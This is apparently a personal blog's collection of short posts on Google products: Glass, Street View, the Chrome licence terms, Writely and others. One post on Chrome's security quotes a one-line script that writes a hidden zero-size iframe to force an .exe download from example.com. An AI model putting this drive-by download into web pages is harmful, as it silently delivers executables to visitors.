Playing with Google Glass

Don’t know how many folks know, but I got a google glass recently and only now have had some time to start playing with it. There were a few challenges but I finally got Glass ‘talking’ to my Windows 8.1 machine and can now replicate the glass display (that is a post for another time, but it did take me some hit and try to figure out what I was doing wrong). This is pretty important, as without this I won’t be able to show much demo’s or make it very useful.

Here are a few photos showing the silliness in the whole thing. In the second photo, I am taking a picture from glass, whilst taking a picture from Glass – does that classify as a Picture-in-Picture? Perhaps. 🙂

Google glass on Windows
Google glass on Windows
Glass and Windows 8 - picture in picture
Glass and Windows 8

Google Logic

I came across this very interesting article in the guardian called “Google logic: why Google does the things it does the way it does“. This is a fascinating insight and a lot of it makes sense to me. What was also interesting to understand a little more on how the mindset is very different from the other corporates and technology leaders out there. Especially interesting the self-righteous view one perceives that Google has of themselves. It is a little long, but worth a read.

On Google

So, what kind of a company do you think Google is? I guess the obvious answer – it is a search company. I would beg to differ and say it is on the contrary a data mining company. They make their money from AdSense and the Click-thru and sure, the search was the initial pull but now it is the data mining which pulls in the $$$’s. In some respects it is a one-trick pony, albeit a pretty good trick.

Of course, the reach of Google’s index is quite small (relatively speaking), with much more data sitting inside corporations – something which Microsoft realises and is making strides with FAST.

Something to think about next time you use your Android, Gmail, Google Talk, Google Talks, You Tube, etc. Each of those usage just adds to the data mining, allowing Google to make more money. 🙂

Google Street View in UK

After legal and environmental issues, finally Google has launched street view for UK! There are 25 cities covered only at this point; I know both London and Oxford are covered.

You can check out the Computing Lab at Oxford (where I study) or Avanade’s offices in London (where I work).

{via Mark}

Is Cloud Computing workable?

I think this post brings up some interesting aspects of cloud computing and the scenarios within which you should look at to use this. If you are an enterprise then this might be more of a moot point – but the fact is one cannot take things for granted.

It is quite timely as I was thinking of syncing up Meenakshi’s calendar from Outlook to Google. Her laptop had crashed and she was without her calendar – interestingly she missed not having access to her calendar more than her emails – but that is another post for another day).

I think I will skip syncing it up Google Calendar now and instead use one of the other services I get from where this domain is hosted.

Chrome? Nah, I’ll pass

You must have heard of Chrome by now – the brand spanking new browser from Google. If you think it was the best thing since sliced bread you need to wake up and smell the fish.

For me the main deal breaker is the EULA they have for Chrome. As per the EULA anything you use to upload, browse, etc using Chrome you are giving Google the right a perpetual, irrevocable, worldwide, royalty-free and non-exclusive licence to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content that you submit, post or display on or through the Services.

This means anything work related I do – something as simple as searching the intranet to something more sensitive as responding to an RFP can be posted or displayed by Google. Needless to say most of us won’t be using this at work. Here is the full Section 11 from the EULA:

11. Content licence from you

11.1 You retain copyright and any other rights that you already hold in Content that you submit, post or display on or through the Services. By submitting, posting or displaying the content, you give Google a perpetual, irrevocable, worldwide, royalty-free and non-exclusive licence to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content that you submit, post or display on or through the Services. This licence is for the sole purpose of enabling Google to display, distribute and promote the Services and may be revoked for certain Services as defined in the Additional Terms of those Services.

11.2 You agree that this licence includes a right for Google to make such Content available to other companies, organisations or individuals with whom Google has relationships for the provision of syndicated services and to use such Content in connection with the provision of those services.

11.3 You understand that Google, in performing the required technical steps to provide the Services to our users, may (a) transmit or distribute your Content over various public networks and in various media; and (b) make such changes to your Content as are necessary to conform and adapt that Content to the technical requirements of connecting networks, devices, services or media. You agree that this licence shall permit Google to take these actions.

11.4 You confirm and warrant to Google that you have all the rights, power and authority necessary to grant the above licence.

So whenever Google releases the new-uber-cool hammer, this is what it will look like:

google hammer

Of course, there is a big backlash on this and there is some talk from Google on changing this. I wonder how quickly they forgot their “Don’t do Evil” mantra?

My second beef was when this is installed why is it in some obscure location such as AppData\Local\Global (e.g. on Vista this will be installed at C:\Users\%userprofile%\AppData\Local\Google\Chrome\Application) – what is wrong with something like %SYSTEM%\Google\Chrome? Of course this causes more interesting issues if more than one users use the same computer.

The third issue while is related to installation and is a little different. Why does this bypass the Windows UAC? No matter what the negative press on UAC, it is good and should not be bypassed. Maybe this is some new bug on UAC? (I am speculating at this point mind you, I have not had time to check it out in detail).

Security is the next problem. Apparently there is an automatic file download exploit and a carpet bombing flaw. For example the file download exploit can look something like:

<script> document.write(‘<iframe src=”http://www.example.com/hello.exe” frameborder=”0″ width=”0″ height=”0″>’); </script>

On the positive sides, there are some cool features such as the hidden features where you can see some interesting things such as dns details, histograms, network diags, etc. Here is a list of some of the commands available:

  • about:histograms
  • about:dns
  • about:stats
  • about:network
  • about:plugins

Lastly, try typing “evil:%” (without quotes) and see what happens! Smile

What is Google trying to tell me?

I was signing up for Google apps just to see what the fuss is all about and could not think of a domain and thought to give geek.com a try. Of course I knew it is not available, but I am quite offended by what Google thinks of Geeks – especially the whole damn company was formed and staffed by geeks.

image

Google Mapplets

Google Mapplets are "mini applications" you write which can be embedded within Google Maps. Google has a special "preview" version of the maps where you can test this out. To help you write mapplets (e.g. a random weather map) google also has the Mashup Editor (reviewed by Lachlan) which is similar to Yahoo Pipes.

Google Papers

Got time to kill (maybe you have a 4 hour commute like I recently started) and want to tickle that brain of yours? Still reading, then check out Google Papers. Of course some of the papers have been quite publicized such as the failure trends for HDDs. But there are many more interesting ones such as the High-efficiency power supplies for home computers and servers or MapReduce, an abstraction for large-scale computation which essentially is a programming model for generating and processing large data sets with many terabytes of data and thousands of machines. Happy Reading!

Manzana – .NET API for iPhone

Google (of all the people) have released Manzana a .NET API for interacting with the iPhone. Below is what they had to say and you can see a screenshot here. I of course don't have a iPhone to try it out.

"Simple and powerful .NET library that lets you read/write files from/to the iPhone, list directory contents and other file and directory related functions."

Google Sitemap Index

I have seen this question being asked a number of times in the forums and thought I'd post about it.

What is a Google Sitemap, who better to answer but Google:

A Sitemap provides an additional view into your site (just as your home page and HTML site map do). This program does not replace our normal methods of crawling the web. Google still searches and indexes your sites the same way it has done in the past whether or not you use this program. Sites are never penalized for using this service. We cannot make any predictions or guarantees about when or if your URLs will be crawled or added to our index. Over time, we expect both coverage and time-to-index to improve as we refine our processes and better understand webmasters' needs.

In CS 2007, Google site map indexing is built-in and you don't need a module. You can find this at [your-blog-url]/GoogleSiteMapIndex.ashx. E.g. for this blog the Site map index can be found here.

You of course need to submit a Sitemap file to Google and have it validate your domain.

Google Voice Local Search

Google has a new service called Voice Local Search where you call a toll-free number (in the US) 800-GOOG-411 (for those not from America, 411 is the Information line, similar to 911 is the emergency line). You can use this by category or name of the business and other than the cost of your call it is free. It is handy if you don't have access to a computer and has the same data as that is found on Google Maps. While you can use this with a mobile, Google is recommending to use Google SMS instead from a Mobile.

Google Maps for India

Google Maps have recently update their data and India is one more country they show street level maps for – check it out.

Google Server Error

This is the first for me – google server error while searching. You can click on the image to see the full version.

Chaos (by design)

CNNMoney has an interesting read on Google and how they operate in Chaos by design. It also lays out the challenges for Google on with a 2nd act – right now it is a one-trick pony (albeit a very good trick one). Wink

The author for Competing on the Edge: Strategy as Structured Chaos, works for Google as a Sr. VP of Business Operations. I have not heard of her or this book, but it seems interesting. Has anyone else read it? What are your thoughts on it?

(Thanks to Megha for sending this one)

Google 3D Warehouse

Google’s 3D Warehouse is a collection of 3D objects that were created for use with Sketchup and are meant to be used with Google Earth. You can see one of London’s most famous attractions the Big Ben or India’s world famous Taj Mahal.

[I’m rocking out to Heartbeats by José González from the album Veneer]

Writely.com – Google's answer to Word

Thanks to my colleague Rick Pollak for pointing this out.

Seems like Google has released Writely.com which is their answer to Word. Registration is open, and you can sign up. I used my Google account and got a confirmation email – however I was able to use the site before I confirmed.

My first experience was not good – as IE had crashed – well it was running at almost 100% CPU and eating all the resources (click the image to see details). Which meant at the end of the day I could not kill that process and I had to restart the machine. But, since I am running IE 7 (Beta 3), I am not sure if there is an issue with IE itself or if the problem is with writely.

I have not used this for a long time, so these are only the first impressions and so far I am more impressed with the collaboration tools than the editor itself. It has all the basic things you would expect – fonts, spellcheck, etc. There are also other a little more advanced features such as the ability to insert comments, manage bookmarks, table and image support. The image can be a maximum of 2mb in size.

 The collaboration features seems to be quite impressive and it would be interesting when MOSS 2007 ships, what impact would it have on SharePoint 2007. I guess it is safe to say that almost all Enterprises will not be using this (you won’t want your document out there on someone else’s server now would you?). But, for most of us this probably is not too much of an issue. I know my Dad won’t have an issue for example. Also, the revisions is interesting – I have not used this. But it seems to be promising and might have helped in the WCF book I have been writing. All the back and forth between myself and the TE’s (Technical Editors).

The File > Save As menu is also interesting. As you can see as it allows one to save the document in a number of formats that you would expect such as HTML, Word, OpenOffice, PDF. And in a few that you won’t expect such as a RSS feed.

You can also tag the various documents (quite similar to the way you can to blog posts and photographs), and I can see the value in having something like that. This is of course similar to something that will also be in Vista.

Also you can directly publish to you blog. The blogs it supports “out of the box” are blogger.com, blogharbor.com, blogware.com, livejournal.com, squarespaces.com, wordpress.com. But fear not, if whatever blogging thing you use, you can use it as long as it supports one of the following API’s: Blogger API, MetaWeblog API or MovableType API.

If security of your document is important, then you will be glad to know they say they take security very seriously. Here is what they have to say about it, about how secure are the documents.

Very! We take security very seriously. A layered security architecture ensures that only people you authorize can view or modify a document.

Of course all this free. You can take a tour here and find out more details here and sign up for this here. I am excited about this, mainly because so many people I know do not have the budget to spend on the likes of Microsoft Office, and OpenOffice is something also a bit of an overkill or just too much hassle to download and install. So, as long as you have a stable and fast Internet connection this might just be a winner.

Having said that, I  personally will not be saving any information that is important to me on their servers as I am a bit paranoid. Also the fact I already have licence’s for Microsoft Office is also a factor.

One question that does remain, would Adobe go after google now and ask them to remove the save as PDF functionality from this as they have rumored to have forces Microsoft in for Office 2007?

New version of Google Talk

Google just released a new version of Google Talk, that adds support to send files between users, allows you to leave a voicemail for the person you were calling and share with others what music you are listening to.